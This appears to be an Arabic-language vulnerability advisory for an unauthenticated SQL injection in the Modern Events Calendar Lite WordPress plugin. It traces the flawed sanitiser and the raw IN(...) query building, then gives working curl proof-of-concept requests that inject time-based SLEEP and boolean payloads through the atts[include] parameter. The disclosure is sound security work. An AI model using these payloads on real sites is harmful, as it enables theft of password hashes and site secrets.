
Modern Events Calendar Lite <= 7.33.0 — حقن SQL بدون مصادقة
mec_list_load_more (atts[include] / atts[exclude])| التفاصيل | القيمة |
|---|---|
| الإضافة | Modern Events Calendar Lite |
| Slug | modern-events-calendar-lite |
| المؤلف | Webnus |
| الإصدارات المتأثرة | <= 7.33.0 (إصدار Lite الحالي الموزَّع من البائع). الخلل موجود في كامل نطاق الإصدارات ما بعد w.org؛ تم تأكيده مخبريًا على 6.5.6 و7.33.0، وتأكيده بالتحليل الساكن (static) في 5.21.2. 6.5.6 = آخر بناء على wordpress.org (مجمّد منذ إغلاق 2022-05-11)؛ 7.33.0 = البناء الحالي الموزَّع من mec.webnus.net |
| التنصيبات النشطة | العدد مخفي في wordpress.org منذ الإغلاق؛ تاريخيًا أكثر من 100,000+. ما زال البائع يوزّعه ويحدّثه بنشاط (Lite عبر mec.webnus.net؛ نفس قاعدة الكود 7.x تقوم عليها نسخة MEC Pro المباعة حاليًا) |
| CWE | CWE-89 (حقن SQL) |
| الثغرة | حقن SQL أعمى غير مصادق عليه (قائم على الوقت / بولياني / قائم على الأخطاء) |
| الصلاحيات المطلوبة | لا شيء (wp_ajax_nopriv_* — قبل المصادقة) |
| تفاعل المستخدم | لا شيء |
| CVSS v3.1 | 7.5 (عالية) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| الحالة | تم التحقق مخبريًا من النهاية إلى النهاية على 7.33.0 (الحالي) و6.5.6 (WordPress 6.6.5, MariaDB 10.x) |
| CVE / GHSA | CVE-2026-11349 |
يسجّل Modern Events Calendar Lite مجموعة من إجراءات "load more" غير المصادق عليها التابعة لـ admin-ajax.php لجلود قوائم الأحداث (list, grid, masonry, agenda, timeline, tile, custom). يقرأ كل معالج صفيف الطلب atts الذي يتحكم فيه المهاجم، ويمرّره عبر دالة مساعدة باسم sanitize_deep_array() التي — عند استدعائها بوسائطها الافتراضية — لا تقوم بأي تنقية إطلاقًا — ثم يدمج قيم atts['include'] (وatts['exclude']) خامًا في مقطع SQL بصيغة post_id IN (...) يُنفَّذ عبر $wpdb->get_results() وبدون $wpdb->prepare().
نظرًا لأن نقاط الدخول مسجَّلة على wp_ajax_nopriv_*، لا يتطلب الأمر أي مصادقة أو حساب أو nonce أو تفاعل مستخدم. يمكن لمهاجم بعيد غير مصادق عليه حقن SQL تعسفي في جملة WHERE الخاصة باستعلام SELECT ضد جدول wp_mec_dates وقراءة أي بيانات في قاعدة بيانات WordPress (تجزئات كلمات مرور المستخدمين، أسرار/مفاتيح wp_options، بيانات الإضافات الأخرى) عبر تقنيات أعمى قائمة على الوقت / المنطق البولياني / الأخطاء.
app/libraries/main.php:9607:
public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
if(!is_array($inputs)) return $inputs;
$sanitized = array();
foreach($inputs as $key => $val)
{
$p = $path.$key.'.';
if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
or (is_array($excludes) and !count($excludes))) // line 9615
{
$sanitized[$key] = $val; // <-- RAW passthrough, no sanitization
continue;
}
// ... (sanitize_text_field / (int) / esc_url / ... only reached when $excludes is non-empty)
}
return $sanitized;
}
حارس الشرط (is_array($excludes) and !count($excludes)) يجعل الدالة بلا أي تأثير تمامًا عندما يكون $excludes هو الصفيف الفارغ الافتراضي — إذ تُنسخ كل قيمة كما هي حرفيًا. كان القصد واضحًا «إذا وُجدت قائمة استثناء، فتجاوز تلك المفاتيح»؛ لكن المنطق البولياني يتجاوز كل شيء بدلًا من ذلك كلما لم يتم توفير أي قائمة استثناء.
$excludesapp/skins/list.php:499-501 (load_more()):
$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date); // line 501
يتم استدعاء sanitize_deep_array($_REQUEST['atts']) بوسيط واحد → $excludes يأخذ القيمة الافتراضية array() → فرع عدم التأثير أعلاه → $atts هو $_REQUEST['atts'] الخام وغير الموثوق.
IN (...)app/libraries/skins.php:
// line 603 (exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
$where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";
// line 606 (include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
$where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";
يتم دمج عناصر الصفيف عبر implode() مباشرة في سلسلة SQL بدون تحويل إلى عدد صحيح وبدون تهريب (escaping). (كان تطبيق absint()/(int) على كل عنصر كفيلًا بإغلاق هذه الثغرة.)
app/libraries/db.php:79:
public function select($query, $result = 'loadObjectList')
{
$query = $this->_prefix($query); // only swaps `#__` for the table prefix
$database = $this->get_DBO();
if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K); // line 87 — no prepare()
// ...
}
السلسلة المبنية بالكامل تُسلَّم إلى $wpdb->get_results() كما هي.
مسار التلوث (الطلب → نقطة التنفيذ):
$_REQUEST['atts'] (attacker-controlled, unauthenticated)
→ app/skins/list.php:501 sanitize_deep_array($atts) (NO-OP: default empty $excludes)
→ MEC_skin::initialize($atts) ($this->atts = raw atts)
→ app/libraries/skins.php:606 "... post_id IN (".implode(',', $this->atts['include']).")"
→ app/libraries/db.php:87 $wpdb->get_results($query) (no prepare)
app/skins/list.php:51-52:
$this->factory->action('wp_ajax_mec_list_load_more', array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more')); // <-- unauthenticated
تسجيل nopriv يجعل نقطة النهاية قابلة للوصول قبل المصادقة. نفس بنية load_more() وباني الاستعلام المشترك في skins.php موجودان في الجلود الشقيقة، ولكل منها إجراء wp_ajax_nopriv_* خاص بها، لذا يمكن الوصول إلى نفس الحقن عبر أي من:
إجراء AJAX (nopriv) | معالج الجلد |
|---|---|
mec_list_load_more | app/skins/list.php:497 |
mec_grid_load_more | app/skins/grid.php:497 |
mec_masonry_load_more | app/skins/masonry.php:229 |
mec_agenda_load_more | app/skins/agenda.php:242 |
mec_timeline_load_more | app/skins/timeline.php:242 |
mec_tile_load_more | app/skins/tile.php:446 |
mec_custom_load_more | app/skins/custom.php:233 |
لا يتم فحص أي nonce في load_more()، ولا يتطلب الإجراء وجود أي shortcode من الإضافة في الصفحة — إذ تُسجَّل معالجات AJAX بشكل غير مشروط عند التهيئة (init).
جميع الطلبات غير مصادق عليها (بدون cookie وبدون nonce). تُوضع القيمة المُحقونة في atts[include][]؛ تُغلق الحمولة القوسين المفتوحين لمجموعة IN ((...) AND (... IN ( وتُلحق OR <sleep> على المستوى الأعلى بحيث يُقيَّم الشرط لكل صف يتم فحصه، ثم تعلّق الجزء الختامي )) ORDER BY ...:
TARGET='https://victim.example' # plain permalinks: use admin-ajax.php directly
# 1) Baseline (no injection)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode 'atts[include][]=0'
# → ~0.27s
# 2) Time-based proof — balanced top-level OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
# → ~3.04s ← SLEEP(3) executed
# 3) Boolean oracle (true vs false)
# atts[include][]=0)) OR IF(1=1,SLEEP(3),0)# → ~3.06s (TRUE)
# atts[include][]=0)) OR IF(1=2,SLEEP(3),0)# → ~0.04s (FALSE)